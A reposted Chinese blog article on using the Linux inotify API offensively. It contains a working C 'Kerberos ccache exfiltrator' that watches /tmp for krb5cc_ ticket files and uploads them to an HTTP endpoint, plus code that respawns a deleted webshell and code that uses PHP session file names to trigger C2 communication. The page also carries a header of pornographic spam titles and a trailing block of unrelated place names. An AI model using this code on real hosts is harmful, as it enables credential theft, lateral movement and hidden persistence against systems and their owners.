亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何從攻擊者角度重新思索inotity API的利用方式

發布時間:2021-11-11 15:33:07 來源:億速云 閱讀:141 作者:柒染 欄目:編程語言

這篇文章將為大家詳細講解有關如何從攻擊者角度重新思索inotity API的利用方式,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

我們以往在看”inotify API”的使用的時候,關注點都放在防護端,比如在入侵事件發生后IT管理員用來監控文件或者目錄的改變來輔助排查入侵事件。我們將重點放在攻擊方,讓你熟悉inotify API的猥瑣使用方式。

0x00 竊取 ccache 文件

在企業網絡中,linux和windows系統共存,并將身份驗證委托給AD是很常見的場景。在這種類型的環境中。當攻擊者獲取了一臺Linux主機的權限后,通常會查看/tmp目錄尋找憑證緩存文件(ccache),該文件通常包含TGT(Ticket-Granting-Ticket),用于通過kerberos協議進行用戶到服務的認證。

該文件的命名方式如下“krb5cc_%UID%”,可以直接被基于impacket框架的工具來使用。所以如果我們能讀取該文件的話,就能夠使用psexec.py/smbexec.py等工具來嘗試對內網其他機器進行命令執行,從而實現橫向移動(如果我們足夠幸運得到的這個文件來自于一個特權用戶的話,甚至可以提升權限)。當我們確實知道該網絡是使用kerberos作為認證的,但是現在不能夠得到該文件(因為該文件壽命很短)時,我們可以設置一個Inotify watcher來監控/tmp目錄,當該文件創建時,就轉發給我們。

如何從攻擊者角度重新思索inotity API的利用方式

我們的計劃非常簡單,如上所述,新建一個watcher來監控/tmp目錄,如果一個前綴是”krb5cc_”的文件被創建或者修改了,就發送給我們,代碼如下:

// Example based on https://www.lynxbee.com/c-program-to-monitor-and-notify-changes-in-a-directory-file-using-inotify/

#define _GNU_SOURCE

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <sys/types.h>

#include <sys/inotify.h>

#include <sys/stat.h>

#include <limits.h>

#include <unistd.h>

#include <fcntl.h>

#include <curl/curl.h>

#define MAX_EVENTS 1024 /*Max. number of events to process at one go*/

#define LEN_NAME 1024 /*Assuming length of the filename won't exceed 16 bytes*/

#define EVENT_SIZE  ( sizeof (struct inotify_event)  ) /*size of one event*/

#define BUF_LEN     ( MAX_EVENTS * ( EVENT_SIZE + LEN_NAME  ) ) /*buffer to store the data of events*/

#define endpoint "http://localhost:4444"

int exfiltrate(char* filename) {

    CURL *curl;

    CURLcode res;

    struct stat file_info;

    FILE *fd;

    fd = fopen(filename, "rb");

    if(!fd){

        return -1;

    }

    if(fstat(fileno(fd), &file_info) != 0) {

        return -1;

    }

    curl = curl_easy_init();

    if (curl){

        curl_easy_setopt(curl, CURLOPT_URL, endpoint);

        curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);

        curl_easy_setopt(curl, CURLOPT_READDATA, fd);

        res = curl_easy_perform(curl);

        if (res != CURLE_OK) {

            return -1;

        }

        curl_easy_cleanup(curl);

    }       

    fclose(fd);

    return 0;

}

int main(int argc, char **argv){

    int length, i= 0, wd;

    int fd;

    char buffer[BUF_LEN];

    char *ticketloc = NULL;

    printf("[Kerberos ccache exfiltrator PoC]\n\n");

   

    //Initiate inotify

    if ((fd = inotify_init()) < 0) {

        printf("Could not initiate inotify!!\n");

        return -1;

    }

    //Add a watcher for the creation or modification of files at /tmp folder

    if ((wd = inotify_add_watch(fd, "/tmp", IN_CREATE | IN_MODIFY)) == -1) {

        printf("Could not add a watcher!!\n");

        return -2;

    }

    //Main loop

    while(1) {

        i = 0;

        length = read(fd, buffer, BUF_LEN);

        if (length < 0) {

            return -3;

        }

        while (i < length) {

            struct inotify_event *event = (struct inotify_event *)&buffer[i];

            if (event->len) {

                    //Check for prefix

                    if (strncmp(event->name, "krb5cc_", strlen("krb5cc_")) == 0){

                        printf("New cache file found! (%s)", event->name);

                        asprintf(&ticketloc, "/tmp/%s",event->name);

                        //Forward it to us

                        if (exfiltrate(ticketloc) != 0) {

                            printf(" - Failed!\n");

                        }

                        else {

                            printf(" - Exfiltrated!\n");

                        }

                        free(ticketloc);

                    }

                i += EVENT_SIZE + event->len;

            }

        }

    }

}

我們可以在監控到該文件創建后,就通過LDAP搜索,來檢測當前用戶的權限。

0x01 重新放置webshell后門

另一個通用的場景為,當我們放置的webshell被刪除的時候(由于管理員發現,CMS更新等原因),通過使用inotify可以實現當webshell被刪除的時候再創建一個,并且通知我們,代碼如下

int main(int argc, char **argv){    int length, i= 0, wd;    int fd;     char buffer[BUF_LEN];    //Initiate inotify    if ((fd = inotify_init()) < 0) {        printf("Could not initiate inotify!!\n");        return -1;    }    //Webshell location
if ((wd = inotify_add_watch(fd, "/var/www/html/my_shinny_webshell.php", IN_DELETE | IN_DELETE_SELF) == -1) {        printf("Could not add a watcher!!\n");        return -2;    }    //Main loop    while(1) {        i = 0;        length = read(fd, buffer, BUF_LEN);        if (length < 0) {            return -3;        }        while (i < length) {            struct inotify_event *event = (struct inotify_event *)&buffer[i];            if (event->len) {                      			respawn_webshell();                                i += EVENT_SIZE + event->len;            }        }    }}

其他的想法:當一個合法的PHP文件被修改時,也同時放置我們的后門進去。或者,監控配置文件,檢測數據庫鏈接賬號是否改變。

0x02 基于PHP會話名觸發惡意軟件行為

我們可以通過創建一個存儲PHP會話的命名文件作為隱蔽通道來和我們的Implants進行命令通信。例如下面的例子,我假想當一個命名為sess_ALEAIACTAESTXX的文件創建時,就和我們的CC進行通信。

int main(int argc, char **argv){    int length, i= 0, wd;    int fd;     char buffer[BUF_LEN];    //Initiate inotify    if ((fd = inotify_init()) < 0) {        printf("Could not initiate inotify!!\n");        return -1;    }    //Session folder as set in session.save_path    if ((wd = inotify_add_watch(fd, "/var/lib/php/session", IN_CREATE) == -1) {        printf("Could not add a watcher!!\n");        return -2;    }    //Main loop    while(1) {        i = 0;        length = read(fd, buffer, BUF_LEN);        if (length < 0) {            return -3;        }        while (i < length) {            struct inotify_event *event = (struct inotify_event *)&buffer[i];            if (event->len) {                                    if (strncmp(event->name, "sess_ALEAIACTAEST", strlen("sess_ALEAIACTAEST")) == 0){                        start_communication_with_CC();                    }                                i += EVENT_SIZE + event->len;            }        }    }}

通過一個簡單的CURL請求(curl http://localhost/test.php --cookie "PHPSESSID=ALEAIACTAESTx1"),我們就可以觸發這個動作。

關于如何從攻擊者角度重新思索inotity API的利用方式就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

api
AI

福海县| 娄烦县| 六盘水市| 普洱| 文昌市| 陆河县| 正定县| 屏山县| 石城县| 水富县| 九龙城区| 四子王旗| 浦北县| 昌宁县| 清徐县| 永安市| 浦江县| 北流市| 湖口县| 青州市| 海阳市| 株洲县| 登封市| 克东县| 怀仁县| 禄丰县| 永修县| 晋城| 景洪市| 鱼台县| 红河县| 射洪县| 汉沽区| 韶山市| 志丹县| 明溪县| 资中县| 陵水| 翼城县| 浦北县| 文山县|